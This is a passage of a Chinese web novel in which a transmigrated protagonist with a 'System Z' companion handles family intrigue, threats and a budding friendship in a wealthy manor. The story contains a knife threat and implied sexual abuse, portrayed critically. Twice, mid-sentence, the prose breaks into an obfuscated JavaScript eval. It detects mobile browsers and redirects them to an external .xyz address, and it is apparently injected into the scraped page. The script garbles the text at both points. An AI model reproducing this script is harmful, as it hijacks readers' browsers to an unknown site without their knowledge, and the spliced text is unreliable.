霍夫人挽着长于她二十岁的丈夫进厅，她一十指不沾阳春水的尊贵妇人，亲自为人剪雪茄，倒热茶，动作是练习上千上万遍的熟稔，处处小心。 一家之主回归，家中小辈必然恭候。 大小姐不可能下楼，霍昭龙也不准。 平常神龙不见首尾的霍子晏在，照旧只缩在角落客椅，问候过便一声不吭，干发呆。 唯独往常第一个守门的霍子骥不知去向。等霍昭龙茶饮下半杯，他才从后厅绕出来。 “爸，您到了啊。我还以为您会等白天再回来呢。你看我，现在刚结束长跑特训，没赶上换衣服就先跑来见您。” 霍子骥热情问候，往人对面一坐，毫不拘谨。他发丝被汗浸润，一缕缕粘成股状，衬衣扣子虽齐，几处褶皱却很不自然。 打量着他，霍昭龙转动青瓷杯。 “我倒是不知道，你什么时候有了晚上锻炼的爱好。” 霍子骥干笑两声，试图将话题转移。 “爸，之前您叫我看管的那批货，我找到下家了。绝对是单大生意。” 威严男人手轻敲桌面，血玉扳指叩响两下。 声音不仅令状似神游的霍子晏正襟危坐，也让霍子骥自觉闭嘴，顿时收敛。 “子骥，我出发前，是怎么跟你说的。复述一遍给我。” 半年前的事，谁还记得？ 闻言暗道不妙，霍子骥下意识朝母亲瞥去。可霍夫人尚未做出反应，那霍昭龙便右手握拳，不轻不重锤出声响，如鼓如钟，与他尖锐形同鹰隼的眼同样震慑人心。 厅中寂静，窗外蝉鸣也因胆怯止歇。 一片沉默中，霍昭龙终于开口发话。 “我说，没到足够火候，没有确切把握，就别痴心妄想，胆敢触碰难以企及的树顶果实。是这样吗？” 霍子骥想起来了，可这已然失去意义。 如今他只放低姿态，省得又让这尊大神动怒，谁都压不住。 眼见气氛紧绷，霍夫人殷勤为丈夫续茶，借机为儿子说好话。 “子骥也是想表现一番。你这么久才能回来一趟，平常也难联系上你。他联络的买方我认得的，你也见过，大剧院的投资人林威廉。上次因他剧团遭遇海难事故，就没谈成。” 尽管得到解释，霍昭龙脸色不见缓和，仍闷声喝着茶，反复调整花纹朝向。 就在众人以为他又会像以前那样，喝完整壶茶水，解散家庭聚会时，他手背一抵将瓷杯推开。 “莱特在哪。” 厅内一阵岑寂。情况却不同于刚才。 霍夫人接道。 “莱特那孩子应该已经休息了。你也知道他的脾气，一直不太爱见人。” 霍昭龙静静看着她，那眼神没有温度和情感，像无数道冰棱扎来，莫名使她心虚惊惶。 “我算是他半个父亲，你觉得他连我也不肯见？还是在宵小之徒闹事后？” 听着是在谴责莱特·莱恩，可与霍昭龙相伴多年，霍夫人明白对方早知戴维重伤莱恩手臂这茬，是怪她疏忽。 “老爷——” 霍昭龙扬手一摆，堵住她所有辩解。 “我已派人去接他过来，很遗憾他今晚似乎不像夫人你说的，早早休息。而是出去了。” 出去了？ 惊讶不止在霍家几人中漫开。 一旁静待的韦执事更心中诧异。 在他告诫过后，莱恩·莱特为何还要出庄园？ 家庭聚会缺席的最后一员姗姗来迟，择明被黑衣保镖护跨入门廊。 他面具完全褪漆，但锃亮得反光，右手垂着，明显比左边更无力孱弱。后背笔挺，视线却是往下凝望地板，依旧掩着自卑。 霍昭龙按了按身下紫绒坐垫，先是想起身可一番踌躇后又放弃。 “到这来，莱特。” 为防止青年会太‘自觉’，在旁边干站着不入坐，霍昭龙拍着身边空位。这让霍夫人别过脸蹙眉，霍子骥翘起二郎腿，笑似看戏人。 谈话无非是关于伤势和疗养细节，霍昭龙问择明答，平常得甚至乏味。 “好好养伤。”霍昭龙手举着没抽几口的雪茄，点头重复，“好好养，一步步慢慢复健，不要顾虑太多。伊凡有发电报告诉我，你的手恢复不到原来程度，但医学是在进步的存在，也就有将病症以偏概全的情况。” 霍昭龙张了张嘴，立马接上雪茄，猛吸一口道。 “我相信，凡人都是受眷顾的。有信者受其神明看顾，无信者有先祖血亲荫蔽。你也是。所以，即便只有百分之一希望，都不可轻易言弃。这点我深有体会。” 能听霍昭龙安慰，实属罕见。 说这话时，他一直看着青年的右手。 交谈难容外人插嘴，期间霍子骥借口洗漱离开，霍子晏低声问候一句退场。到最后，霍夫人被‘找茶叶’为理由支走。 霍昭龙轻拍坐垫，站起身。 “这烟味大，陪我出去透透气。” 择明点头跟上，来到东侧露台。 放眼远眺，能见远处拱顶花房。不知谁在那点起夜灯，使玻璃悬顶成了萤火虫尾巴，莹莹闪耀。 同样的夜灯下，一对养父养子并肩倚着栏杆，周围再无他人。 霍昭龙忽然寡言，光顾着抽雪茄欣赏夜色。 择明还注意到，对方手频频摸向风衣口袋，却始终没有下一步动作。 【系统Z：您现在会告发三少爷，霍夫人，还有二少爷吗】 择明眼珠一转。 【为什么要告发？】 【系统Z：霍昭龙并非不在乎莱特·莱恩，只是莱特·莱恩有意疏远，婉拒与家主同席，更不愿谈及自身点滴。您趁此机会提一嘴，是绝佳的‘使坏’机会，作为你实现反派立场其中一环】 择明抚摸雕花石栏，指腹因冰冷触感轻微发麻。 他画着杂乱无章的圆，抛出又一种系统无法回答的问句。 【那么，我所需要针对的‘主角’，是否就在他们之中？】 【系统Z：回答主角身份属于二级以上信息，暂无权限查询】 答复快速，但机械而生硬，萌生浏览说明书的错觉。 迷你字体专业术语，味如嚼蜡，难以下咽。 择明抿嘴，似是抱怨。 【是你作为‘系统’本就如此，还是爱天生‘使坏’？Z,你的回答能带给我趣味，却也让我不得不怀疑你的意图】 给予他决定性的抉择，但从不强迫。 时而提供足够详略的信息，可偏压着关键脉络。 向他提出质疑，却又不经意间试图引导。 【系统Z：如您所说，主人，我们彼此独立。但我会优先以您提前设立的‘果’为目的，即成为‘反派’立场与主角做对，结合有效数据和情景，给出适合您的建议。因为当您开始支配这具身体的那一刻起，大部分数据参考已失去其意义】 【我突然想打个岔，Z。我想起了一件事】 【系统Z：是什么，主人】 【撒谎的人，会在解释时说得更多。情不自禁地】 【系统Z：那么这点在我这并不成立，主人】 择明双手插兜，嘴角挂着浅笑，不置可否。 有系统Z思维沟通，无言相处时择明并不难熬。终归是霍昭龙等不住，亮出件物品。 银质半脸面具质地轻薄，用手抚摸，细腻丝滑犹如人|皮。同它一比，择明脸上的只配叫‘铁疙瘩’。而从它五官模型判断，应是给‘莱特·莱恩’定制的。 其中不可忽视的另一用意。 是为让他能光明正大站在人前定制的。 “这些年……是我愧对你，莱特。不管你愿不愿意接受，我都希望你能收下它。你的成人礼。” 霍昭龙将礼物递出，今夜第一次投以长久注视。 他看着青年眸光闪动，湖蓝眼瞳胜似秋水。嗫嚅着感激道。 “谢谢您霍先生。它是我迄今为止，收到的最美好的礼物。我想，我会试着换上它的。” 柔和在霍昭龙脸上短暂停留，他轻拍年轻人肩膀，似鼓励又似嘉奖。想起什么，语速飞快道。 “你住的地方也该换了。我让伦娜给你安排一处新的。” 伦娜是霍夫人本名，嫁进来后便改成‘霍娜’。但大家基本称她霍夫人。 换住处是霍昭龙心底一直以来的疙瘩，以往他劝说皆以失败告终，可今夜有接受面具在先，自是乘胜追击好时机。 岂料这回他还是被拒绝了。 “霍先生，我在原来的地方很好。有马库斯在，他很照顾我。” 闻言霍昭龙皱眉转着扳指，但对方下一句话很快打消他的不满。 “但若您允许，我想请您让我在您的花房小住几天，那个地方，能让我感到至上的宁静。和您刚才说得一样，感觉像被谁守护着。” 霍昭龙爽快答应，一度想令仆人重装花房，最后还是应养子要求，不作改动。 独自前往花房的路上，择明不断回味着当时霍昭龙喜上眉梢的模样。 “有趣。”他自语道。 “像霍昭龙这样的男人，无论时光逝去多久，无论经历过什么，他似乎都不敢直视心中的最重之人。哪怕只是眼睛。” 【系统Z：您为什么会有这想法】 择明一反常态，啧啧摇头。 “抱歉，Z，我今天拒绝回答你。” 第一次在他这碰壁，系统Z表现依旧。 【系统Z：好的，主人】 择明：“唉。” 叹息颇有些恨铁不成钢。 “沙沙——” 小道旁灌木枝叶狂响，宛如大型野兽伺机而动，等待爆发将猎物一击毙命。 朝择明扑来的‘野兽’，正是霍子骥。 被捕猎者单手掐住脆弱脖颈，后背撞向坚硬树干，猎物择明至始至终没挣扎过。 将这份平静解读为惊吓过度，霍子骥施压力道，满足于手掌收紧时肌肤紧绷发烫的触感。因他知道这层皮下，是鲜活的血肉。 “说说看，你后来父亲单独呆这么长时间，都聊了些什么有意思的，嗯？” 他边问着，没浪费空闲的右手。挑开衣领，游走摸索，轻抚犹如亲密恋人间的调情。但他抽走礼物的粗暴蛮横，绝不是一位好情人该做的。 银面具翻来覆去查看，找不出猫腻，霍子骥哂笑，像磕鸡蛋拿它敲打择明的铁疙瘩。 “原来就为这？不过想想也对，”他放轻掐握力道，但不肯松手，“唉，我装在古董花瓶里的老父亲，他什么时候才懂呢？有些人的丑恶，是无论如何都遮不住的。” 真是丑陋。 霍子骥心想。 眼前之人衣扣被他拨开，裸露的肩上胸口上，烧伤蜿蜒坑洼，大倒胃口。 一想到这样的人竟跟他同家，还可能与他争抢家产，他就隐隐作呕。 正如他母亲告诉他的那般，一坨由脏污尘土拼凑成的卑劣物，绝不允许与他们共存，只配被碾在脚下，任他踩踏。 凭什么，这人依靠奴仆父亲的小小救命之恩，就堂而皇之进霍家大门。 凭什么，敢与他地位同高，敢从霍昭龙那得来特殊照顾。 “您最后的话，我表示高度赞同。三少爷。” 霍子骥回神，猛然收紧手，“你什么意思？” “由衷感叹罢了。”择明颔首示意道，“所以，您能将我的东西还给我了么。” 不反抗的猎物，非死即残，非蠢即坏。霍子骥深信这点，左手藏至身后。 当他手再出现时，那枚拇指上的顶针弹出刀片，锋利且泛着光，割破血管喉咙不成问题。 “你们还谈了什么？我能给你足够多时间回忆复述，或者你想让我把它们，浪费在听你哀嚎上。” “为什么我要哀嚎。” 霍子骥彻底困惑，恐吓的刀片卡在半路，与人喉结近在咫尺。 “若您是出于对霍先生的关心，我并不介意对您分享我们愉快的闲谈内容。霍先生为人慷慨，答应将花房暂借我居住。仅此而已。”择明回答。 野兽像嗅到尸体恶臭，嫌弃收起獠牙。 霍子骥将人用力一推，拉开数米距离，手擦拭衣襟，嗤之以鼻。 “真不巧，那地方我也想要。不如这样，父亲说给你了，你再借给我用用吧。我发现在那里干|起来，我能更兴奋。” 对方不语，他便默认答应，将银面具往地上丢。 “记住了，这是我们俩的秘密。否则……我会先让你身边那个粗鄙老头不好过。他那个年纪被烧伤，应该很容易死吧？” 像顽皮孩子随口说着玩笑，霍子骥退回灌木，转眼没了踪影。 择明靠在树上，捡起面具后一动不动。 【系统Z：主人，您还好吧】 它听到对方仿佛从鼻子里哼出气。 “如果你未来告诉我，我们无礼骄纵的三少爷也是一匹坏马驹，我丝毫不会感到意外。” 能从择明口中听到批判之语，比看到霍昭龙微笑更难能可贵。 这是第一句。 系统Z默默计数。 而当他们回到花房，目睹满地狼藉后。它立马记下了第二句。 择明：“有时候我很是怀疑，三少爷是否跟戴维·菲尔丁，是异父异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592331|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母的亲兄弟。” 花盆东倒西歪，各色花瓣落地与泥土混在一起，扦插枝干被人压断一片。唯一幸免的，只是霍昭龙存放在这的珐琅藏品。 择明怜惜扶起一株昙花，听到花房深处传来声响。 “莱恩先生。”艾文费力搬着花盆出现，满眼歉意，“不好意思，我本来想抢在你来之前把这整好的，可是……” 艾文紧张解释，语无伦次。他衣衫凌乱，嘴唇破皮还留着点血红。而那道白皙脖颈上的掐痕咬痕，根本遮不住。 【我们的坏马驹身边频繁换人，原因大概在这了】 向系统感叹，择明抽出手帕走向对方。 “你这里，流血了。” 他伸手没被躲，因此就在艾文呆愣注视下为其轻拭血渍。 他擦完后艾文才回魂匆忙接过。 “谢、谢谢，我可以自己来的，谢谢您。” “这我会整理，我想，你现在应该更需要休息。” 艾文头垂得更低，耳朵红得滴血。此后的两小时他既不走，也不说话，默默缩在花架旁等择明收拾残局。可从他几次偷瞄，深深吸气看来，他其实很有话想说。 “先生您，是真的不能再弹琴了吗” 是出乎意料的问题，择明亦思量了片刻。 “是的。至少，是这几年不能。” 小羊羔艾文的眼睛扑闪发亮，期待追问，“这么说您还会坚持下去吗？啊，抱歉，我不是逼你或什么的意思，我只是觉得您真的很优秀，连我这种人都能听懂、不，不是——” 苦于怎么解释才不会产生误会打击到人，艾文最后如泄气皮球，小声道。 “我只是觉得您能有更好的成就，会有更好的生活。你的音乐，能给人带来快乐……和救赎。” “你真的这么认为？” “是的。”艾文仍低着头，苦笑着两手紧握，“实不相瞒，当我觉得自己快撑不下去，要被逼疯的时候，是您的歌声让我好像听到天堂才有的安魂曲。” 【系统Z：他说的是实话。莱特·莱恩没有琴可练，就会用哼唱曲谱诗歌代替，发现过他在偷听】 “晚安，莱恩先生。” 袒露完仿佛用尽所有勇气，艾文转身落荒而逃，但一瘸一拐，姿势不太美妙。 关于马童艾文的总结语，择明只有一句‘他已在痛苦谷底’。 而霍昭龙在第二天下午就离开庄园，据说有一批很重要的货这两天要转售，不容半点差池。且不知是否对昨晚的表现不满，这次他没带上霍子骥，令三少爷大清早开始发脾气，闭门不出。 但这些，与在迷宫花园收取回信的择明无关。 几天下来，霍子晏与他互赠画作愈发频繁勤快，有时他白天才放上纸，中午回信就到，傍晚再送去后，午夜一看又贴了新纸。 而内容也从单一图画，进化成附赠诗歌短句的插绘。 “我时常会在深夜煎熬痛呼，想要剖开胸腔，瞧一瞧是什么在折磨我不堪负重的心。” “我拿起刀刃，却劈不下手，因我知道那是死神所任的专职。” “当我沉睡，沉入难于启齿的黑海，我才知道是你……唔。”择明抖了抖画纸，“二少爷，倒是比我想象中的更热情。” 系统Z知道他未念完的激情内容，包括画纸上用凌乱线条构建，疯狂交缠的两具躯|体，由衷补充。 【系统Z：二少爷毕竟和三少爷是亲兄弟】 择明被系统有样学样的点评逗乐，但翻到背面一看，立马收声。 ‘我想见一见你，今晚，在这里’ 字被涂改过很多次，由此可见对方曾多么纠结。 但与之前瑟缩封闭洞中，从不主动与人深交的霍子晏相比，现在这个大胆而狂放，热情似烈火的霍子晏，堪称脱胎换骨。 【系统Z：您会答应吗】 择明收起画纸，坐下托腮反问。 “为什么不？这是场约会。那我也该好好准备。” 这是场约会。 晚间八点，霍子晏站在镜前，第十次为自己调整领结角度。他这么对自己说着。 情形一如他初次等待回信那天，只不过他不会再自我欺骗，一味打退堂鼓，否认自己的幸运。 他已足够幸运了。 对镜面练习微笑，他无奈于自身的僵硬，索性拍打脸颊，恢复深沉阴郁的本质。 “要出发了。霍子晏。” 像士兵上战场为自己打气，他默默背诵对方写过给他的语句。那些他已倒背如流。 怎么会有如此契合他思想，理念，乃至灵魂的人？ 他不止一次自问着。 那这人，又会是什么样的？ 思绪不可避免绕回最初困扰他的地方。让他放慢脚步，压下热情。 是男是女，是外人还是庄园成员？对他是否有意图，又是好是坏…… 问题越聚越多，霍子晏脚步蓦然沉重，心不在焉。走到同一个拐角，他竟再次止步，踌躇着不敢前进。 不受控喘气后退，下一步就是掉头就跑。深知自己脾性，霍子晏连忙拿出为自己准备的杀手锏。 一张画纸被折叠，小心包裹在丝绢中，画上赫然是那只黎明闪蝶。它一直被放在贴近他心口的衣兜，赐予他苏醒改变的魔力，也给予他此刻迈出步伐的勇气。 沉淡，阴沉的暗夜，珍珠色的圆月嵌在天空。 身披崭新深蓝外套，长发由鲜红丝带系起。霍子骥看见的背影，就如他收到的第一封画卷，像只礼物被精心装点。 双脚不受控制，他往前又走几步，并在对方回头时彻底宕机。 同他年龄相仿的男人佩戴银色半脸面具，靠在一排紫罗兰前。紫色，红色，蓝色，与男人手中纯白花朵交织，让人无法将这画面从脑海中挥去。 “二少爷。” 他听到对方呼唤他，声音很轻，尾音欢快上扬。一如他曾幻象过的，像是高级妓|院里舞女的一双玉手，能够优雅地拨云撩雨。 “你……莱特·莱恩？”霍子晏许久才找回说话的能力。 “如果您不习惯，您可以继续用‘Morphoaurora’这一名字。” 莱特上前两步，鞠躬后递出见面礼——一束刚剪下的白色玫瑰。 沉默接过花，霍子晏双目瞪圆，视线挪不开这张仿佛从未看过的脸。当对方仰头感受风流时，他甚至也伸长脖子，很是滑稽。 “外面已经开始变冷，若您不介意，要跟我去我的画室坐坐么。如果那称得上是画室的话。” 莱特说完，轻轻地对他笑了。 柔若无骨的手抚|弄耳根，故意蒙住双眼嬉戏。霍子晏微笑不自知，握紧花点头。 “好，我跟你去。去哪都可以。” 6. 打破的声音是pop！-06 七月中旬，如被火笼烘烤沉闷无趣，霍家庄园上下百名侍者仆从乃至跑腿零工口，都出现了整齐统一的谈资。 茶余饭后讨论，闲暇劳作时提及，夜间太热睡不着点灯开始夜谈。 霍家二少爷，霍子晏，最近变化很大。 ‘很大’或许还太模糊宽泛，唯有细化描述才可突现其中的不同寻常。 譬如，只在用餐散心时下楼的二少爷不知着了什么迷，频频往主宅外跑，有时一去就是一整天才回房。 再譬如，只在提要求时才交流的他竟会主动问候问好，包括对仆人。偶尔有那么几次能得见他嘴角微弯，笑意粲然。 气质心情影响外表果真强效，承袭霍昭龙相貌最多，精神气上来后霍子晏如焕然一新，引得家中年轻女孩瞩目注意，像谈论倾慕男性般将他挂在嘴边。 那戴维虽已离开，但大家至今仍沿用他‘木柴人’的比喻。都说二少爷是‘木柴人逢春风，长叶开花了’。 议论猜测为干涉生活中心，霍子晏并不在意。某些层面上讲，他不爱斤斤计较，处处留心。 就像今日，他一早带上画板颜料箱，途径大厅落地镜时匆匆刹住脚步，再三整理仪表才小跑出门。全然没注意到周围仆人的偷瞄窥视。 厅堂二楼设有小平台，在这，霍夫人将下方情形尽收眼底。 “韦叔，我们的二少爷，最近是有什么高兴的事么。都从病狗变成哈巴犬了。”她问道。 韦执事称职将他提前搜集的情报道来。 “据我手下的几个人汇报，二少爷近来结识了一位友人，时常相约出去写生，不过没人看到过他友人相貌，因为二少爷是独自出门的，连车都没叫。还有。” 在此一顿，韦执事继续道。 “还有就是，二少爷频繁进出先生的花房。” “就是那马夫儿子现在住的地方？” 私下里，霍夫人向来以‘马夫儿子’指代莱特·莱恩。她抿嘴冷哼两声，端起托盘上的果酒饮尽。 不出意外，霍子晏那‘新友人’正是莱特。 她放下酒杯，呵出酸甜酒味。 “就不能再派人盯着点他们？弄清楚他们在一起做什么，说什么。” 韦执事面露难色解释：“夫人，先生有留他几位亲信在庄园。” 尽管不是日夜守于莱特左右，但他们这方稍有异状，必定会被禀告到霍家主那。更何况跟踪偷听这种不光彩的事，到时一问就露馅了。 霍夫人不语，捏着酒杯思索。经过利弊权衡，她放弃对那两人的追踪。 毕竟两只丧家之犬相聚，能成得了什么气候？ 眼下最重要的，是为大小姐霍骊准备七月底的生日晚宴。以及最近一笔与剧院老板林威廉的生意。 距生日还有十天，家仆已着手打理庄园，花园草木重新修剪，楼内物品全部擦亮，崭新如初。而前厅女仆正在扫灰的一副巨型油画《金秋之海》，是霍昭龙最为珍视的藏品。 作者不详，价格未知，但它绝对是数一数二之杰作。 画面描绘麦田丰收的七月，恰好也是霍骊出生，霍昭龙将画请进家的时候。 那麦穗因饱满低垂，层层相叠相织，当风压低身子，胸膛与它们轻碰轻蹭，奏响无与伦比的动听赞曲。 赞曲悠扬而空灵，又迎风旋起降落，回荡在麦浪四周，农夫耳畔。 看着择明以自制颜料绘出又一副精妙绝作，霍子晏早将自己的画抛之脑后，激动得眼睛像金鱼一样鼓起。 “莱特。你到底是从天上来的，还是你这手曾被神明亲吻过。” 赞誉痴迷溢于言表，霍子晏得到对方的微笑回应，又不禁叹道。 “那些旋律，色彩，甚至触感。你到底是怎么把他们融在一起，融在这画纸里。” 作画数年，霍子晏有自己一套分阶体系。 第一阶‘无知者’，刚学习使用画具，理解点线面构图，如同白纸愚昧无知。 第二阶‘农耕者’，已掌握色彩光影，但仅会埋头临摹仿照，苦苦耕耘只为画得足够真实，足够细致。 接着是‘牧羊人’，‘冒险家’，‘品酒师’。这三者能力程度相近，都能挖掘除‘真实传神’之外的灵韵，牧羊人中规中矩守着群羊创造，冒险家天马行空不惧尝试，品酒师感官敏锐才思敏捷，是三者中最具天赋的。但往往因懈怠懒散，多是惊鸿一现，就此蒙尘。 “莱特，你简直是一个……望神者。” 霍子晏毫不吝惜，给出迄今为止的最高评价。 在所有人只低头向着地，向着自己或他人的时候，唯有一人望向天际，虔诚谦卑却又狂妄恣肆，意图拨开神灵面纱一探究竟。 择明停笔，这才转向霍子晏，“您谬赞了。二少爷。你会这么说，还是因为您具有一双慧眼，一副睿智头脑，能体会到我藏在笔触里的感受。” 他手支着下巴，示意牛群。 “我把画拿给它们看，它们没哞哞叫把画吃掉就已谢天谢地。我们身边不也有群奶牛们，喊着‘草真好吃’，‘世界上就只该有草这玩意儿’么。” 被他的比喻逗乐，霍子晏爽朗笑出声，挨着他坐下。 “相信我，你的画甚至能将石头点化成活物。” 夸赞包含逗趣成分，择明摇头一笑，为画点缀最后两笔。他至今用着左手，右手虽能拿调色盘，但很快会酸痛无力。 霍子晏激动消退，看着对方满眼疼惜。 “莱特，我有件事很想问你。” “您尽管问，二少爷。只要不是和他人遵守的秘密，我对您不会有遮掩。” 这份信任突然带来更大压力，但依旧敌不过盘踞心中至今的疑惑。霍子晏最后问道。 “你收到霍骊的邀请信，被她邀请去跟她同台演奏，是真的吗？” 此后一阵沉默令他不敢直视对方，一度后悔说出来的决定。 “是的。” 回答越是平静坦然，霍子晏心越隐隐抽痛。他仍记得青年右手被毁的那天，发出的哀嚎有多悲戚绝望。 也是因为这样，他才一反常态到窗边观望。 他怎么就没阻止呢？！ 强烈愤恨是针对自身，霍子晏狠狠掐着手，筋脉绷起。 分明他一直知道莱特在他家经受怎样的欺侮，可那时他简直是个铁石心肠，该死的冷血刽子手，眼睁睁看着那群恶徒作乱。他们本不必如此，却硬要扼住白鸽脖颈，折了它赖以飞翔的羽翼，将它丢进泥里落满污秽。 仅为取乐，多么残忍。 “我感到抱歉……莱特，为所有事。” 身处愧疚痛苦的漩涡，霍子晏以手掩面，陡然间失去生气。 “您不需要向我道歉，二少爷。” 霍子晏呼吸一滞。 “伤人者已付出代价，尽管我有所失去，但我从中获得的远比遗憾要多。”端详着自己一双手，择明指尖微动做出弹琴姿势，“我从未像现在这般清楚过，原来一切事物间的联系、互通，如此美妙。色彩，声乐，文字，理学，情感，由人创造的艺术绝非完全独立的个体，总能找到可深深结合的一点。” 弹奏变成奏曲指挥，他转头，霍子晏也已看向他。 择明：“没有人是一座孤岛。人与人之间更是如此。只是还没找到相联结的点罢了。” 心中有所触动，自责更一扫而空，霍子晏庆幸地开口。 “那我们现在，是已经找到……结|合的点了吗。”凌乱而疯狂的红色线条于脑海中交织，说出这话时，他再次呼吸粗重。 “当然是，二少爷。您是我不可多得的挚友。” 高兴与一种莫名奇妙的失落同起，但霍子晏绝不会在对方面前表露灰色情绪。他点头，郑重其事要求。 “莱特，我更喜欢你叫我，子晏。还有，别在对我使用敬语。” 银月色面具后，蓝眼多次眨动似是犹豫不决，最后招架不住他急切而热烈的注视，终于投降认输。 择明取下自然风干的画纸，微笑向人递去。 “那么这画照样送给你了，子晏。” 霍子晏喜形于色，捧着画痴迷沉醉。浑然不知他身边的人，正和另一种存在热络交谈。 【系统Z：由此判断，您的俘获力完全不输于三少爷。甚至有过之而无不及，主人】 【你比较错了，Z，我可不喜欢一开始就带着情|色|欲|望同人接触相处，这不太健康，对身体不好】 【系统Z：您说得有道理。但我记得您曾说过，有钱后想尝试三少爷活色生香的情|事教学实践】 【只是考虑中。毕竟做这事，其实并没有想象中的享受。不如养小马驹快乐，对吗】 【系统Z：您说得对】 继‘是的，主人’之后，系统赫然自学成才，自创出‘您说得对，您最好最棒’体系，时常让择明掩饰不了，差点破除表面模样，放声大笑。 与霍子晏离别是在城镇闹市，能有半天相处和新画作伴，霍子晏不会继续缠着他，更不过问他留在这做什么。 就这方面，他很喜欢画痴二少爷。 择明刚穿过教堂的拱形前门，礼堂中就传出奔跑动静。孩子们以萨沙为首，热切将他围住。 “莱恩先生，今天你准备给我们上什么课？是画画吗？” “是诗歌！求您了莱恩先生，今天继续上诗歌课吧，昨天的《夜与星》才学了第一节。” “不行，今天轮到算数了……” 见他们为喜好争吵得面红耳赤，隐约有反目成仇苗头，择明当即叫停，终止这场战争。 择明：“今天时间宽裕，我说不准能所有课都上一遍。但先后顺序得听我的，没有异议？” “没有！听您的，莱恩先生。”萨沙带头，积极应声。 围观着一切，老牧师目光慈爱。他帮忙准备粉笔黑板后就站在原先的礼堂，现在的课堂角落旁听，津津有味。 当伊凡进门摘帽，于他身边站定时，他过了好久才发现。 “他们还没结束。”老牧师轻声解释到，“不过已经是第三堂课了。还剩拼字练习课。” 伊凡沉默点头，将提箱外套都搭在墙边。 老牧师却打开话匣子，开始絮叨起来。 “最近附近的孩子也赶到这上课，课本都是莱特自己做的。考虑他手的问题，我向他提议，可以由我们教堂帮忙。就是用纸方面，开销会再大一点。” “文学理学，绘画作曲，现在又多了外语。您不在的时候，他向我们借阅旧版古籍，已经着手翻译了。您是哪里找来这神通广大的年轻人？” 伊凡不喜开玩笑，因此没有回答。 但他知道老牧师尚未加进去的一项，还有医学。 午后四点，紧凑的课程终于结束。 因择明授课时不仅言语风趣诙谐，还能以浅显通俗的用语解释，时而穿插与学生插科打诨，又总能无缝切换将课题拉回，孩子们鲜少有走神疲劳的时候。 他们从不嚷着课间休息，反而遗憾不能再多上几节。 “好了，莱恩老师再说下去要更累了，孩子们，跟我去后院分点心。” 老牧师拍掌高喊，可算是将这群嘈杂雏鸟领出庄严礼堂。 伊凡低头拿起物品再转身，择明已收拾好东西，将他的移动‘问诊台’挪出，所有器具整齐摆放，正在消毒。 这让以往独自鼓捣的伊凡大大缩短准备时间，只需屁股一坐，等着患者上门。 他顾客的病无非是‘穷病’，摔伤撞伤没有正确处理，小病拖着变成大病，要么是积劳成疾，没有治愈一说只能调养。 细致检查，快速诊断，伊凡在纸上写下清单递向身后，无论何时都能被第一时间接去，最后变成完全正确的药包，转交到病人手中。 “祝您尽早康复，夫人。顺便一提，您的花很衬您肤色。” “谢谢，也祝你一天愉快。” 伊凡摘下听诊器，目光不自觉瞟向身边。 招到帮手问诊，差别不止是更加便利和效率提高。 不同于他，他这名助手永远微笑示人，关怀细致入微。看似简单随口而出的赞美，安抚，调侃，犹如魔咒轻易将病痛所致的愁苦驱散。 以往从来没人是进来眉开眼笑，出去也阳光灿烂的。 两个半小时后，问诊圆满画上句号，伊凡点着记录本计算，发现病号是以往两倍有余。再看应该是最忙最累的助手，正轻哼旋律，背对他清洗用具。 漠然神情没有变化，伊凡合上手册，沉声一问。 “你似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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艾文佝偻着坐在花架下，光裸的背朝他，身边是被撕烂的上衣。 那些咬痕，挫伤，毫无遮拦展现在他眼前，仿若一张触目惊心的抽象画。 这今天应该被艾文整理过，不像上次乱得像有七八只狂犬蹂|躏。 择明拿起自己的外衣，轻手轻脚走去，想替人披上。 由于没察觉到择明靠近，艾文反应猛烈，挺身抬臂，做出出人意料的攻击动作——伸手抵向咽喉，试图将人摁倒。 但及时看清那张被面具覆盖的脸，他转眼恢复成之前的温顺孺慕。 “对不起莱恩先生、我刚刚、刚刚想事情太入迷了，还以为您是小偷什么的……”他越说头垂得越低。 静默的择明并未被吓到，脖子微微后仰，朝下的视线停在少年人头顶。 他重新为对方披上外套，掖衣领的动作温柔无比。 “你应该着凉了，去那坐着，我给你倒杯热水。” 艾文没有动静，他亦不催促。只等对方缓缓抬起脸，主动开口。 “先生……您说，有什么办法能永远不用再做自己不愿意做的事，说不愿说的话，能永远不再痛苦呢？” 泛红的眼眶，和强忍怆然的模样，与白天的纯良天真，笑脸相迎判若两人。 马童艾文发生过什么，之后会如何，莱特并不知道。择明也就没有‘预知’参照。 但能肯定的是，七月之后，艾文没在庄园里出现过了。 此时没等择明回应，艾文率先手背抹眼角，扬起脸勉强笑道。 “对不起莱恩先生，我跟您说了这么奇怪的话。我就是情绪太乱了，很可能着凉，冻坏脑子了哈哈哈。请您原谅。” 择明摇摇头，表示没关系。并转身取来矮桌上的书本，将夹在其中的干花书签递给对方。 满天星是发饰，玫瑰是翅膀衣裙，两片乳白昙花组成迷你脸庞，神似他佩戴的新面具。 艾文又惊又喜，“这——您是给我的吗？” “我很遗憾，你的问题我也无法给你答案……” 不曾听过的语言怪如海妖吟唱，艾文困惑抬眼。 艾文：“嗯？您刚刚说什么？” “一位他国诗人的绝笔。”择明解释道。 “我踏进牢笼，我无所畏惧亦不心伤。因我已将爱与希望，永远留在囹圄之外，新日黎明之下。” 少年人懵懂困惑，却移不开眼。 这一刻的莱恩先生，不太像他印象中的。 但有着更为强烈、难以抵抗的吸引力。一度让他忘却身体之痛，内中酸楚。愈发心之向往，想要奔去。 察觉自己失态，艾文手忙脚乱收起书签，转身匆匆告别。 “十分感谢您，莱恩先生、晚安。” 择明走到门边目送那道身影消失在道路尽头。 【系统Z：很美的诗】 不再是‘您最好你最棒’体系，择明不禁挑眉道，“你真这么觉得，Z？” 【系统Z：是的，尽管不怎么押韵】 